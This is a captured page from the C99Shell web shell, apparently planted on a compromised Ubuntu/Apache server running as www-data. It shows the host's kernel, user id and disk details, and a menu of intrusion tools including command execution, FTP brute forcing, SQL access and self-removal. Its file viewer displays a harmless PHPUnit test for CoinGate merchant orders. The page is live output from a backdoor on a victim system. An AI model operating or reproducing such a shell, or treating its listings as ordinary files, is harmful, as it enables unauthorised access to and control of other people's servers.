!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/coingate/coingate-php/tests/   drwxrwxr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderTest.php (1.87 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace CoinGate;

class 
OrderTest extends TestCase
{
    public function 
testFindOrderNotFound()
    {
        
$this->assertFalse(Merchant\Order::find(0, array(), self::getGoodAuthentication()));

        try {
            
$this->assertFalse(Merchant\Order::findOrFail(0, array(), self::getGoodAuthentication()));
        } catch (
\Exception $e) {
            
$this->assertRegExp('/OrderNotFound/'$e->getMessage());
        }
    }

    public function 
testFindOrderFound()
    {
        
$order Merchant\Order::create(self::getGoodPostParams(), array(), self::getGoodAuthentication());
        
$this->assertNotFalse(Merchant\Order::find($order->id, array(), self::getGoodAuthentication()));
    }

    public function 
testCreateOrderIsNotValid()
    {
        
$this->assertFalse(Merchant\Order::create(array(), array(), self::getGoodAuthentication()));
        try {
            
$this->assertFalse(Merchant\Order::createOrFail(array(), array(), self::getGoodAuthentication()));
        } catch (
\Exception $e) {
            
$this->assertRegExp('/OrderIsNotValid/'$e->getMessage());
        }
    }

    public function 
testCreateOrderValid()
    {
        
$this->assertNotFalse(Merchant\Order::create(self::getGoodPostParams(), array(), self::getGoodAuthentication()));
    }

    public static function 
getGoodPostParams() {
        return array(
            
'order_id'          => 'YOUR-CUSTOM-ORDER-ID-115',
            
'price_amount'      => 1000.99,
            
'price_currency'    => 'USD',
            
'receive_currency'  => 'EUR',
            
'callback_url'      => 'https://example.com/payments/callback?token=6tCENGUYI62ojkuzDPX7Jg',
            
'cancel_url'        => 'https://example.com/cart',
            
'success_url'       => 'https://example.com/account/orders',
            
'title'             => 'Order #112',
            
'description'       => 'Apple Iphone 6'
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--